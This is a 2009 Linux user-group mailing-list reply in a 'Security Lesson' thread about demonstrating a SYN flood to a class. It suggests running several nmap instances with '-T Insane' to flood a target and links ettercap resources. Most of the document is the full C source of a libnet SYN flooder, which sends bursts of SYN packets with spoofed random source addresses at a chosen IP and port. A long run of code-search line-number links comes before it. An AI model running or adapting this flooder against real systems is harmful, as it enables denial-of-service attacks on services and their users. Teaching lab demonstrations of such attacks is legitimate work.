Security Lesson

Lisa Kachold lisakachold at obnosis.com
Thu Nov 5 14:04:01 MST 2009 

On Thu, Nov 5, 2009 at 10:36 AM, David Demland <demland at cox.net> wrote:

> Correct.
>
> -----Original Message-----
> From: plug-discuss-bounces at lists.plug.phoenix.az.us
> [mailto:plug-discuss-bounces at lists.plug.phoenix.az.us] On Behalf Of
> tshipley at deru.com
> Sent: Thursday, November 05, 2009 11:22 AM
> To: Main PLUG discussion list
> Subject: Re: Security Lesson
>
> I think he wants to create a SYN flood in lab conditions as a demo for his
> class.
>

Right (that was deducted via obnosis)!

David asked the excellent question related to creation of raw socket SYN
Flooding C# programs for demonstration purposes.

Existing tools (nmap and ettercap) can be used for the demonstration portion
(and the kernel references for Linux and Micro$oft patching for the
mediation portion of the discussion of this OSI Layer up exploit).

NMAP CAN send SYN Floods if used properly... if you start multiple instances

of NMAP with the -T Insane flag this surley could start a SYN Flood.

ETTERCAP.ng sources http://ettercap.sourceforge.net/download.php
ettercap.ng syn flooding basics http://blog.v53.eu/?p=71

This is an old example of raw socket syn-flood.c  code (use for for
demonstration purposes).

I am sure that it's going to need torquage to get a good compile (and not
worth it when existing source code like ettercap and nmap exist):


     Makefile.in
<http://www.koders.com/noncode/fidF8E3DF8B8644B767CD80A815906A6DE597F51936.aspx>
syn-flood.c
<http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx>
tcp+data+ipopt.c
<http://www.koders.com/c/fid7CC80634CA67EA7DCB76F88B85923FD22B0E6969.aspx>
tcp+data.c
<http://www.koders.com/c/fid1449D1C1AD9AD0CB7A967E3F38F308BF3C693EEE.aspx>
tcp.c
<http://www.koders.com/c/fid506D214CD4BA037457AE4E4369382FF2227634A8.aspx>

1 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L1>
2 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L2>
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4 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L4>
5 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L5>
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7 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L7>
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31 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L31>
32 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L32>
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48 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L48>
49 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L49>
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51 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L51>
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141 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L141>
142 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L142>
143 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L143>
144 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L144>
145 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L145>
146 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L146>
147 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L147>
148 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L148>
149 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L149>
150 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L150>
151 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L151>
152 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L152>
153 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L153>
154 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L154>
155 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L155>
156 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L156>
157 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L157>
158 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L158>
159 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L159>
160 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L160>
161 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L161>
162 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L162>
163 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L163>
164 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L164>
165 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L165>
166 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L166>
167 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L167>
168 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L168>
169 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L169>
170 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L170>
171 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L171>
172 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L172>
173 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L173>
174 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L174>
175 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L175>
176 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L176>
177 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L177>
178 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L178>
179 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L179>
180 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L180>
181 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L181>
182 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L182>
183 <http://www.koders.com/c/fidF7B8ACF1A2A71A79739F18F3E899C2AB650BCC6F.aspx#L183>

  /*
 *  $Id: syn-flood.c,v 1.1 2000/10/04 18:50:32 slay Exp $
 *
 *  Poseidon++ (c) 1996, 1997, 1998, 1999, 2000 daemon9|route
<route at infonexus.com>
 *  SYN flooder rewritten for no good reason.  Again as libnet test module.
 *  Copyright (c) 1998, 1999, 2000 Mike D. Schiffman <mike at infonexus.com>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#if (HAVE_CONFIG_H)
#include "../../include/config.h"
#endif
#include "../libnet_test.h"

struct t_pack
{
    struct ip ip;
    struct tcphdr tcp;
};


int
main(int argc, char **argv)
{
    u_long dst_ip   = 0;
    u_long src_ip   = 0;
    u_short dst_prt = 0;
    u_short src_prt = 0;
    u_char *cp, *buf;
    int i, c, packet_amt, burst_int, sockfd, burst_amt;

    packet_amt  = 0;
    burst_int   = 0;
    burst_amt   = 1;

    while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
    {
        switch (c)
        {
            /*
             *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
             *  point cp to the last dot of the IP address/port string and
             *  then seperate them with a NULL byte.  The optarg now points to
             *  just the IP address, and cp points to the port.
             */
            case 't':
                if (!(cp = strrchr(optarg, '.')))
                {
                    usage(argv[0]);
                    exit(EXIT_FAILURE);
                }
                *cp++ = 0;
                dst_prt = (u_short)atoi(cp);
                if (!(dst_ip = libnet_name_resolve(optarg, 1)))
                {
                    fprintf(stderr, "Bad IP address: %s\n", optarg);
                    exit(EXIT_FAILURE);
                }
                break;

            case 'a':
                packet_amt  = atoi(optarg);
                break;

            case 'i':
                burst_int   = atoi(optarg);
                break;

            case 'b':
                burst_amt   = atoi(optarg);
                break;

            default:
                usage(argv[0]);
                exit(EXIT_FAILURE);
        }
    }

    if (!dst_prt || !dst_ip || !packet_amt)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
    {
        perror("socket allocation");
        exit(EXIT_FAILURE);
    }

    buf = malloc(LIBNET_TCP_H + LIBNET_IP_H);
    if (!buf)
    {
        perror("No memory for packet header");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, LIBNET_TCP_H + LIBNET_IP_H);

    libnet_seed_prand();

    for(; burst_amt--;)
    {
        for (i = 0; i < packet_amt; i++)
        {
            libnet_build_ip(LIBNET_TCP_H,
                    0,
                    libnet_get_prand(LIBNET_PRu16),
                    0,
                    libnet_get_prand(LIBNET_PR8),
                    IPPROTO_TCP,
                    src_ip = libnet_get_prand(LIBNET_PRu32),
                    dst_ip,
                    NULL,
                    0,
                    buf);

            libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16),
                    dst_prt,
                    libnet_get_prand(LIBNET_PRu32),
                    libnet_get_prand(LIBNET_PRu32),
                    TH_SYN,
                    libnet_get_prand(LIBNET_PRu16),
                    0,
                    NULL,
                    0,
                    buf + LIBNET_IP_H);

            libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H);

            c = libnet_write_ip(sockfd, buf, LIBNET_TCP_H + LIBNET_IP_H);
            if (c < LIBNET_TCP_H + LIBNET_IP_H)
            {
                fprintf(stderr, "libnet_write_ip\n");
            }
            usleep(250);
            printf("%15s:%5d ------> %15s:%5d\n",
                    libnet_host_lookup(src_ip, 1),
                    ntohs(src_prt),
                    libnet_host_lookup(dst_ip, 1),
                    dst_prt);
        }
        sleep(burst_int);
    }
    free(buf);
    exit(EXIT_SUCCESS);
}


void
usage(u_char *nomenclature)
{
    fprintf(stderr,
        "\n\nusage: %s -t -a [-i -b]\n"
        "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
        "\t-a number of packets to send per burst\n"
        "\t-i packet burst sending interval (defaults to 0)\n"
        "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
}


/* EOF */





-- 
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AT&T: (503)754-4452
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